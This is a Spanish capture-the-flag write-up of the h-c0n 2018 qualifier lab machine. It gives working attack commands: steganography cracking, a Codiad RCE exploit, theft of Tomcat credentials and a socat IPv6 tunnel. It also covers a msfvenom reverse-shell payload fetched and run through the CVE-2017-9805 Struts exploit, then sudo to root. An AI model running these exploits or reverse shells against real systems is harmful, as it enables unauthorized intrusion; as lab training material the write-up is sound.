"El reto 22 es especial y distinto a los demás nuestros porque realmente se trata de una ronda clasificatoria para acceder al CTF de la h-c0n de 2018 que ha creado Ihacklabs.
Hasta el 14 de enero a las 0:00 horas tendréis disponible la imagen que se muestra abajo, que contiene oculto un enlace para la descarga de una máquina de laboratorio vulnerable que hay que comprometer, primero obteniendo una shell para la ejecución remota de comandos y segundo escalando privilegios hasta conseguir root y poder obtener la flag.
Ojo que la máquina sólo funciona en VMWare. En VirtualBox no reconoce correctamente el interfaz de red.
Esta flag debe remitirse a la dirección de correo electrónico hackplayerscon@gmail.com para su validación. Posteriormente se solicitará un pequeño writeup o solucionario que muestre esquemáticamente los pasos seguidos para conseguirlo.
Los primeros 45 que lo consigan obtendrán un código para acceder al CTF de iHackLabs. Y atentos porque los 5 primeros además conseguirán una entrada gratuita a la conferencia h-c0n. Si ya habían abonado la entrada con anterioridad, se les devolverá el dinero íntegramente por Paypal.
Así que ánimo y al lío:
Gracias a Dani (adon90) y Héctor (riesc0) por la máquina. Al final nos pilló un pelín el toro pero lo sorteamos ;)
Cualquier duda podéis comentarla directamente en este post o a través de nuestras RRSS pero eso sí... sin spoilers... ;)"
Por: Tony Palma (xbytemx)
Lo primero que hacemos es descargar la imagen starting_CTF.jpg
$ wget https://3.bp.blogspot.com/-SRmKk4sfXfk/WlEklCnAi4I/AAAAAAABCwc/MuOHFeeCwigFB9IAlrtFQ_NIWDaPQsDXgCLcBGAs/s1600/starting_CTF.jpg
Exiftool y file no revelan nada interesante, busquemos por strings:
$ strings starting_CTF.jpg -n 1
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Como podemos ver esto corresponde a steghide, así que probablemente algún mensaje se encuentre oculto. Antes de lanzar un bruteforce, revisemos con stegsolve.jar
$ java -jar ~/Software/stegonagraphy/Stegsolve.jar
En el red plane 1 se ve evidente un texto: rockyou.txt
Esto es una clara indicación de que diccionario usar. Para romper el steghide usaremos el script de EL1S1uM
$ ~/Software/stegonagraphy/steghide-crack.sh starting_CTF.jpg ~/Software/git/SecLists/Passwords/rockyou.txt | grep -v FAILED
SUCESS - freedom
FILE: output.txt
Leemos el contenido de output.txt:
$ cat output.txt
https://mega.nz/#!qB5TjaDJ!VHXWZEX6IBIqS-5caLxD2uDqPPx47UBLFc0lDbz4E_8
Descargamos la VM, descomprimimos y cargamos en VMware Workstation.
En mi caso use la interfase como host-only, la network que tengo establecida es 10.0.1.0/24. Del archivo de DHCPD, la primera asignación sera la 10.0.1.128, por lo que las maquinas en esta red son:
Host: 10.0.1.1
VM: 10.0.1.128
Al iniciar la maquina vemos la petición de ARP, DHCP y algunas peticiones de DNS.
Arrancamos con un nmap rápido que busque puertos abiertos en TCP:
# nmap -sS -p- --open -n --top-ports 5000 10.0.1.128
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-13 23:18 CST
Nmap scan report for 10.0.1.128
Host is up (0.00031s latency).
Not shown: 4999 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:2D:D2:A6 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 72.92 seconds
Probamos que hay en el webserver:
$ http http://10.0.1.128
HTTP/1.1 200 OK
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 0
Content-Type: text/html
Date: Sun, 14 Jan 2018 05:22:41 GMT
ETag: "0-561f5da572eda"
Keep-Alive: timeout=5, max=100
Last-Modified: Thu, 04 Jan 2018 16:30:41 GMT
Server: Apache/2.4.27 (Ubuntu)
Interesante. Busquemos con gobuster.
/opt/go/bin/go run ~/Software/git/gobuster/main.go -w ~/Software/git/SecLists/Discovery/Web_Content/common.txt -u http://10.0.1.128/
Gobuster v1.3 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.0.1.128/
[+] Threads : 10
[+] Wordlist : /home/tony/Software/git/SecLists/Discovery/Web_Content/common.txt
[+] Status codes : 204,301,302,307,200
=====================================================
/china (Status: 301)
/index.html (Status: 200)
=====================================================
China!, vamos a China! (bside, hay un archivo hidden.html con un archivo jpg que nos dice los puertos del knockd que abren el ssh, pero como veremos eso es totalmente innecesario)
$ http http://10.0.1.128/china/
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 1186
Content-Type: text/html; charset=UTF-8
Date: Sun, 14 Jan 2018 05:27:23 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=100
Pragma: no-cache
Server: Apache/2.4.27 (Ubuntu)
Set-Cookie: bba9f5c398f65303d995c735837c801b=3nvd03o8o8mnhviv5rlcbo1g9n; path=/
Vary: Accept-Encoding
<!doctype html>
<head>
<meta charset="utf-8">
<title>CODIAD</title>
... Se omite lo demás ...
El title dice CODIAD, un web-based IDE, que si abrimos por un navegador nos lleva a un login donde podremos autenticarnos. No tenemos las credenciales pero probemos la vieja confiable: admin/admin
Bingo.
Ahora esto parece que nos pudiera ayudar a subir archivos y ejecutar código aka RCE. Tal vez alguien ya automatizo esto antes... algo como [Codiad-Remote-Code-Execute-Exploit] (https://github.com/WangYihang/Codiad-Remote-Code-Execute-Exploit).
Levantamos un puerto de escucha:
[shell1]$ nc -nlvp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Y en otra shell ejecutamos el exploit:
[shell2]$ python exploit.py http://10.0.1.128/china/ admin admin 10.0.1.1 8000
[+] Please confirm that you have started tcp port : [8000] listening on your vps : [10.0.1.1]
[Y/n] y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"admin"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"hackplayers","path":"\/home\/hpys\/test"}}
[+] Writeable Path : /home/hpys/test
[+] Sending payload...
Listo, ya tenemos una conexión reversa para explotar.
[shell1]$ Connection from 10.0.1.128 50830 received!
sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
De ahora en adelante todo sera sobre la shell1. Empezaremos por enumerar:
$ netstat -pltune
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 17902 -
tcp 0 0 0.0.0.0:5355 0.0.0.0:* LISTEN 102 17538 -
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 108 18805 -
tcp6 0 0 :::22 :::* LISTEN 0 17912 -
tcp6 0 0 :::5355 :::* LISTEN 102 17541 -
tcp6 0 0 :::80 :::* LISTEN 0 18329 -
udp 0 0 127.0.0.53:53 0.0.0.0:* 102 17544 -
udp 0 0 10.0.1.128:68 0.0.0.0:* 101 41360 -
udp 0 0 0.0.0.0:5355 0.0.0.0:* 102 17537 -
udp6 0 0 :::5355 :::* 102 17540 -
Ese servicio sobre el puerto TCP/8080 se ve interesante. Podemos empezar por filtrar el UID 108:
$ cat /etc/passwd | grep 108
syslog:x:104:108::/home/syslog:/bin/false
tomcat8:x:108:115::/var/lib/tomcat8:/bin/false
Ahhh el usuario es tomcat8. Como no tenemos los PID, podríamos probar con ps una búsqueda del proceso:
$ ps -fau 108
tomcat8 635 1 0 18:21 ? 00:00:41 /usr/lib/jvm/default-java/bin/java -Djava.util.logging.config.file=/var/lib/tomcat8/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.awt.headless=true -XX:+UseConcMarkSweepGC -Djdk.tls.ephemeralDHKeySize=2048 -Djava.net.preferIPv4Stack=true -Djava.net.preferIPv4Addresses -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -classpath /usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar -Dcatalina.base=/var/lib/tomcat8 -Dcatalina.home=/usr/share/tomcat8 -Djava.io.tmpdir=/tmp/tomcat8-tomcat8-tmp org.apache.catalina.startup.Bootstrap start
Confirmemos si es el quien esta sobre TCP/8080:
$ curl localhost:8080
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1896 100 1896 0 0 1896 0 0:00:01 --:--:-- 0:00:01 154k
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Apache Tomcat</title>
</head>
<body>
<h1>It works !</h1>
<p>If you're seeing this page via a web browser, it means you've setup Tomcat successfully. Congratulations!</p>
... Se omite lo demás ...
Confirmamos que es Tomcat quien esta ejecutándose. Veamos ahora la versión:
$ dpkg -l | grep tomcat8-admin
ii tomcat8-admin 8.5.21-1ubuntu1 all Apache Tomcat 8 - Servlet and JSP engine -- admin web applications
¿Sera que este usuario tomcat que vimos hace unos minutos por ps -fau tenga privilegios en sudo?
$ cat /etc/group | grep tomcat
sudo:x:27:tomcat8
tomcat8:x:115:
$ cat /etc/passwd | grep tomcat
tomcat8:x:108:115::/var/lib/tomcat8:/bin/false
Como vemos si, pertenece al grupo sudo y no tiene shell.
Buscando un poco la manera de atacar esto, google nos hace una referencia a subir algo que es vulnerable y explotarlo. En este caso usaremos el WAR de STRUTS 2.5, que tiene el CVE-2017-9805.
Para ello requerimos conectarnos a Manager y subir el archivo.
Problema uno, no tenemos credenciales para acceder a /manager/.
Busquemos si podemos leerlas del archivo por defecto:
$ cat /var/lib/tomcat8/conf/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
OJO: Revisar permisos del usuario tomcat8
-->
<user username="tomcat" password="passwordtomcat" roles="tomcat,manager-gui"/>
</tomcat-users>
Excelente, ahora sabemos que por GUI, el usuario tomcat, con contraseña passwordtomcat puede administrar el tomcat. Ahora hay otro pequeño problema... No tenemos un navegador completo que haga el login y la interacción...
Podríamos hacer una conexión reversa de ese puerto y publicarlo por otro puerto pero tenemos un pequeño problema, como ya probamos por NMAP solo el puerto 80 esta disponible, ¡y lo estamos usando en el reverse shell!
Un FW los esta bloqueando, probemos por a buscar por UFW:
$ systemctl status ufw
* ufw.service - Uncomplicated firewall
Loaded: loaded (/lib/systemd/system/ufw.service; enabled; vendor preset: enabled)
Active: active (exited) since Sat 2018-01-13 12:20:48 PST; 9h ago
Docs: man:ufw(8)
Process: 307 ExecStart=/lib/ufw/ufw-init start quiet (code=exited, status=0/SUCCESS)
Main PID: 307 (code=exited, status=0/SUCCESS)
Tasks: 0 (limit: 19660)
CGroup: /system.slice/ufw.service
Esto nos va a limitar mucho, a menos que ...
$ ip -6 a s
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 state UNKNOWN qlen 1000
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 state UP qlen 1000
inet6 fe80::20c:29ff:fe2d:d2a6/64 scope link
valid_lft forever preferred_lft forever
Y escaneando IPv6:
# nmap -6 -sS -p- -n --open fe80::20c:29ff:fe2d:d2a6%vmnet1
Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-13 23:43 CST
Nmap scan report for fe80::20c:29ff:fe2d:d2a6
Host is up (0.00046s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5355/tcp open llmnr
MAC Address: 00:0C:29:2D:D2:A6 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 71.69 seconds
Boom! No firewall sobre IPv6.
Investigando, llegue a la conclusión que un túnel de IPv4-IPv6-IPv4 seria lo mejor, ya que no todos los navegadores soportan direcciones IPv6 link-local layer por interfase, pero no lograba dar como.
Y cuando todo parecía perdido llego ... SOCAT.
[VM]$ socat TCP6-LISTEN:8084,fork TCP4:127.0.0.1:8080
[HOST]$ socat TCP4-LISTEN:8083,fork TCP6:[fe80::20c:29ff:fe2d:d2a6%vmnet1]:8084
Como se puede observar, abro en listen el puerto 8084 para mis direcciones IPv6, osea solo la única actual, y lo conecto al puerto 8080 de localhost. Del otro lado inicio en listen el puerto TCP/8083 de 0.0.0.0 y conecto con la dirección en IPv6 fe80::20c:29ff:fe2d:d2a6 de la interfase vmnet1 en el puerto 8084.
Ahora ya podemos llegar a /manager/html, y con las credenciales que ya obtuvimos podemos iniciar el login.
Hacemos la descarga y descomprimimos el archivo que se encuentra aquí. Buscamos el archivo struts2-rest-showcase.war es el que subiremos.
Hacemos la carga, y verificamos que ya este funcionando:
Preparamos un reverse shell para subir:
[HOST]$ msfvenom -p linux/x86/shell_reverse_tcp -f elf LHOST=10.0.1.1 LPORT=8001 -o /tmp/himom/rsh1
Ahora preparamos el web server para que la VM descargue el archivo:
[HOST2]$ cd /tmp/himom/ && python -m SimpleHTTPServer 8002
Serving HTTP on 0.0.0.0 port 8002 ...
Ahora si ejecutamos el exploit para el CVE-2017-9805
[HOST]$ wget https://www.exploit-db.com/download/42627.py
[HOST]$ python 42627.py http://localhost:8083/struts2-rest-showcase/orders/3 "wget http://10.0.1.1:8002/rsh1 -O /tmp/rsh1"
Confirmamos que fue ejecutado exitosamente a pesar del debug info que nos arroja verificando que la otra shell(2) vio la descarga del archivo:
[HOST2]$
10.0.1.128 - - [13/Jan/2018 22:33:32] "GET /rsh1 HTTP/1.1" 200 -
Procedemos a darle permisos de ejecución:
[HOST]$ python 42627.py http://localhost:8083/struts2-rest-showcase/orders/3 "chmod +x /tmp/rsh1"
Abrimos en otra shell(3) un NC para esperar la conexión:
[HOST3]$ nc -lvnp 8001
Listening on [0.0.0.0] (family 0, port 8001)
Ejecutamos el binario remotamente:
[HOST]$ python 42627.py http://localhost:8083/struts2-rest-showcase/orders/3 "/tmp/rsh1"
Confirmamos la conexión reversa y verificamos el id:
Connection from 10.0.1.128 53426 received!
[VM3]$ id
uid=108(tomcat8) gid=115(tomcat8) groups=115(tomcat8),27(sudo)
Hacemos el spawn de una mejor shell:
[VM3]$ python -c 'import pty; pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tomcat8@h-c0n_prequals:/var/lib/tomcat8$ id
id
uid=108(tomcat8) gid=115(tomcat8) groups=115(tomcat8),27(sudo)
Nos convertimos en root:
tomcat8@h-c0n_prequals:/var/lib/tomcat8$ sudo su
sudo su
root@h-c0n_prequals:/var/lib/tomcat8# id
id
uid=0(root) gid=0(root) groups=0(root)
Y finalmente, vamos a root y ejecutamos la bandera:
root@h-c0n_prequals:/var/lib/tomcat8# cd
cd
root@h-c0n_prequals:~# ls
ls
flag
root@h-c0n_prequals:~# ./flag
./flag
ouTUMtV9CSlp6Twxvw8mLbrpg7f64ORVGa6bJ/x+wuA=
root@h-c0n_prequals:~#